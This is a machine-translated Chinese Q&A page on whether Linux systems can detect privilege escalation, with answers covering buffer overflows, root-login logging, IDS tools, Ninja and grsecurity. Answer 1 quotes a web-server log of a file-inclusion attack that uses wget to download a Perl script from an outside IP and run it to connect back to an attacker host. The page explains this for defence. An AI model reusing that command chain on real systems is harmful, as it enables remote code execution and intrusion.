权限提升检测?

权限提升检测?

每次当我读到一些本地权限升级漏洞(例如)。

我想知道操作系统是否可以检测到有人以 root 身份登录(或新的 root 进程启动)?想象一台 Gnu/Linux 机器,其配置如下:如果 root 登录到该机器(或检测到某些漏洞来获取 root 权限),机器将自行中断/关闭,并且备份机器(具有不同的配置)将启动,或者管理员将被管理。通知...

我的想法是否有意义,或者大多数漏洞由于其性质而无法检测?

答案1

漏洞利用的本质就是试图不被发现。因此,大多数漏洞利用不会通过正常方式进入系统,至少最初不会。他们通常会使用类似缓冲区溢出以获得对系统的访问权限。

缓冲区溢出

这种类型的攻击会寻找应用程序中希望获取用户输入的部分。考虑一个网页和各种文本框,您必须通过在这些文本框中键入内容来提供信息。每个文本框都是潜在攻击者的潜在入口点。

好消息:

  • 大多数此类攻击并未获得 root 访问权限,而是获得对专门为 Web 服务器设置的用户帐户的访问权限,因此通常只能访问 Web 服务器文件和功能。
  • 攻击者在闯入过程中在许多区域留下了相当多的踪迹。
    • 防火墙日志
    • 网络服务器日志
    • 其他潜在的安全工具日志

坏消息:

  • 他们已经获得了对系统的访问权限,因此拥有了可以继续尝试进一步入侵的滩头阵地。
  • 日志。是的,考虑到分析日志既耗时又容易出错,大多数情况下几周/几个月/几年都没有检测到入侵。

检测 root 登录

大多数系统都被设计为不允许 root 登录,因此这种攻击媒介并不是真正的问题。大多数攻击都会访问其他一些较低级别的帐户,然后在您的系统上建立滩头阵地后,通过发现其他漏洞来利用。

例子#1:

攻击者可以通过执行以下操作来获得 root 访问权限:

  1. 通过查找易受攻击的网页来侵入系统的 Web 服务器帐户,该网页处理用户通过文本框从某种表单输入的输入。
  2. 实现对 Web 服务器帐户的访问后,尝试通过 Web 服务器帐户获得 shell 访问权限,或尝试让 Web 服务器帐户代表您运行命令。
  3. 确定该特定系统的工具版本(例如命令)是否存在弱点ls
  4. 溢出该工具ls以获得对 root 帐户的访问权限。

例子#2:

潜在的攻击者甚至可能对完全控制您的系统不感兴趣。大多数入侵者只对收集用作其他用途的“奴隶”的系统感兴趣。通常,攻击者只想将他们的软件安装在您的系统上,以便他们可以使用该系统,而无需完全控制系统。

  1. 确定某个网站已经开放了webapp X。攻击者知道webapp X存在允许用户上传图片文件的漏洞。
  2. 攻击者准备一个名为 的文件CMD.gif并上传。例如,可能是论坛网站上用户的头像图像。但这CMD.gif不是图像,它实际上是一个程序,名为CMD.gif
  3. 攻击者将“图像”上传到论坛站点。
  4. 现在攻击者“欺骗”webapp X 运行他的“图像”。
  5. 攻击者使用浏览器调用 webapp X,但他以 webapp X 的作者从未想象过的方式调用它。他们也没有设计 webapp X 来禁止它。

此类攻击的 Web 服务器日志文件

201-67-28-XXX.bsace703.dsl.brasiltelecom.net.br - - [16/Sep/2006:15:18:53 -0300]
  "GET /cursosuperior/index.php?page=http://parit.org/CMD.gif?
  &cmd=cd%20/tmp;wget%20http://72.36.254.26/~fanta/dc.txt;perl%20dc.txt
  %2072.36.21.183%2021 HTTP/1.1" 200

笔记:来自 Apache Web 服务器的示例日志(礼貌)OSSEC.net

在这里,攻击者让 webapp X (index.php) 运行CMD.gif,然后可以执行以下操作:

  1. cd /tmp
  2. wget http://72.36.254.26/~fanta/dc.txt
  3. perl dc.txt 72.36.21.183 21

因此,他们诱使 webapp X 将目录更改为/tmp,下载文件 ,dc.txt然后运行该文件,在端口 21 上连接回 IP 地址 72.36.21.183。

禁用“受损”服务器

您可以关闭“检测到”漏洞的服务器的想法是一个很好的尝试,但由于几个原因它不起作用。

  1. 如果攻击者可以进入第一个系统,那么他们很可能可以进入第二个系统。
  2. 大多数系统本质上都是彼此的克隆。它们更容易维护,并且保持简单(相同)是 IT 和计算机中大多数事物的标志。
  3. 不同的配置意味着维护系统的工作量更大,出错的机会也更多,而这通常是导致漏洞的原因。
  4. 攻击者的目标可能不是入侵,他们可能试图拒绝访问您的服务。这称为拒绝服务 (DoS)

试图限制损害

我可以继续说下去,但一般来说,在保护系统安全方面,您有一些可用的资源。

  • 使用诸如绊线检测系统文件系统上的更改。
  • 防火墙 - 限制访问,以便仅在需要时明确允许访问,而不是对所有内容进行完全访问。
  • 使用工具分析日志文件以检测异常。
  • 保持系统为最新并安装最新补丁。
  • 限制暴露 - 只安装系统所需的软件 - 如果不需要gcc安装编译器,则不要安装它。
  • IDS——入侵检测软件。

答案2

每次有人以 root 身份登录时,操作系统都可以并且确实添加一个日志条目。但出于多种原因,这对防止权限升级错误没有任何好处。

一旦攻击者成为root用户,他们就可以删除日志条目。避免这种情况的唯一方法是将日志写入攻击者无法访问的某个位置,例如一次性写入介质或远程计算机。

以 root 身份启动的登录或进程是正常事件。您不想每天早上 6 点被叫醒,因为每天的 cron 作业都在运行。检测可疑进程、网络流量和其他行为是一项基于启发式的复杂工作;完成这项工作的工具称为IDS(入侵检测系统)

权限升级错误并不涉及攻击者登录,甚至不一定执行新进程。攻击者利用正在运行的程序中的错误并使其执行他注入的任何代码。虽然攻击者调用系统上已有的其他程序通常很方便,但很少有必要。

答案3

好问题!

在多用户系统上,如果本地 root 攻击成功,您只需要一些保护措施。

忍者用户态软件不断监视新的根进程,如果它们是从意外来源生成的,则可能会杀死它们。缺点是 Ninja 占用相当多的 CPU,但仍然风俗漏洞利用的速度可能足以在忍者杀死它之前杀死忍者。

Ninja 是一个针对 GNU/Linux 主机的权限提升检测和预防系统。运行时,它将监视本地主机上的进程活动,并跟踪以 root 身份运行的所有进程。如果生成的进程的 UID 或 GID 为零(root),ninja 将记录有关此进程的必要信息,并且如果该进程是由未经授权的用户生成的,则可以选择终止该进程。

更安全的替代方法是使用GRSEC修补内核,它是RBAC(基于角色的访问控制)功能。使用 RBAC 可以剥离用户拥有所有权力,因此获得root实际上是没有用的,除非您还使用 进行身份验证为管理员角色gradm -a admin

GRSEC 还附带帕X,这使得内核更难被利用。

相关内容